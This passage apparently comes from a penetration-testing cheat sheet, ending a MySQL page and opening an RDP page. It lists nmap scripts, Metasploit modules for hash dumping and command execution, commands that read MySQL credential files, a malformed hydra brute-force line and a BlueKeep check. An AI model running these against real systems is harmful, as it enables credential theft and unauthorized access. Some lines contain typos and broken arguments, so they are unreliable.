34 | nmap -sV -Pn --script=mysql-audit.nse,mysql-brute.nse,mysql-databases.nse,mysql-dump-hashes.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-query.nse,mysql-users.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse -p 3306 -o 3306_nmap_mysql
35 | nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
36 | ```
37 |
38 | ### Metasploit
39 |
40 | ```bash
41 | msf> use auxiliary/scanner/mysql/mysql_version
42 | msf> use uxiliary/scanner/mysql/mysql_authbypass_hashdump
43 | msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
44 | msf> use auxiliary/admin/mysql/mysql_enum #Creds
45 | msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
46 | msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
47 | ```
48 |
49 | ### Extract Credentials
50 |
51 | ```bash
52 | cat /etc/mysql/debian.cnf
53 | grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
54 | ```
55 |
56 | ## Brute Force
57 |
58 | ### Hydra
59 |
60 | ```bash
61 | hydra -L -P mysql -vV -I -u
62 | ```
63 |
--------------------------------------------------------------------------------
/pentesting-network/3389-rdp.md:
--------------------------------------------------------------------------------
1 | # 3389 (RDP)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Check if you can login with default guest account and blank password
8 | * [ ] Check if you can brute force users
9 | * [ ] Check for BlueKeep
10 |
11 | ### nmap
12 |
13 | ```bash
14 | nmap -p 3389 --script=rdp-enum-encryption,rdp-vuln-ms12-020